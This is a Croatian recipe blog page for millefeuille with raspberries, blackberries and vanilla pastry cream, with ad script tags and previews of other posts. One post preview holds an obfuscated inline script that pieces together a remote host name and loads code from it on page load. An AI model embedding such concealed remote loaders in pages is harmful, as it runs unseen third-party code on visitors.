MILLEFEUILLE SA MALINAMA I KUPINAMA

.



Millefeuille sa malinama i kupinama 



Slaže se na način da koristite tri sloja lisnatog tijesta, dva reda kreme i bobičastog voća i na kraju sve pospite šećerom u prahu ili čokoladnim preljevom ako volite.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>

Milefeuille sa malinama i kupinama 


Sastojci:

  • 1 paket lisnatog tijesta
  • 125 g maslaca
  • 4 žumanjka
  • 100 g šećera u prahu
  • 2,5 – 3 dcl mlijeka
  • Aroma vanilije ili bourbon vanilija
  • 2 žlice gustina
  • 2 žlice oštrog brašnaSvježe maline
  • Svježe kupine
  • Šećer u prahu za posipanje
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Priprema:

  • Lisnato tijesto razvaljajte na papiru za pečenje.
  • Izbockajte ga sa vilicom. Sa istim tim papirom za pečenje prebacite lisnato tijesto na lim za pečenje. Neka lim bude okrenut obrnuto.
  • Pecite na 150° stupnjeva oko 15 minuta.
  • Tijesto izrežite na jednake i pravilne trake, zatim na pravokutnike. Za jedan Millefeuille potrebna su vam 3 sloja lisnatog tijesta.
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>

Krema:

  • Mlijeko stavite kuhati.
  • Žumanjke pjenasto izradite sa šečerom u prahu, dodajte brašno i gustin i sve skupa dobro izmiješajte kako ne biste imali grudica. Dodajte vaniliju.
  • Kad je mlijeko prokuhalo, dodajte smjesu sa žumanjcima. Kuhajte neprestano miješajući dok se ne zgusne. Sklonite sa vatre i ostavite da se ohladi.
  • Kad se krema ohladila, dodajte joj maslac izrezan na listiće i izradite čvrstu kremu.
  • Kremu prebacite u vrećicu za ukrašavanje sa okruglim nastavkom.
  • Prvi sloj lisnatog tijesta ispunite kremom kao na slici.
  • Preko kreme složite nekoliko malina.
  • Stavite drugi sloj lisnatog tijesta preko malina, pa ponovite postupak za kremom, samo preko njih stavljate kupine.
  • Preko kupina stavite treći sloj tijesta. Vi možete preko kupina staviti malo kreme kako bi vam slastica bila čvršća.
  • Ponovite sve sa ostatkom tijesta, voća i kremom. Od navedenih sastojaka ispalo mi je šest komada.
  • Na kraju, pospite sa šećerom u prahu.
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>




Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više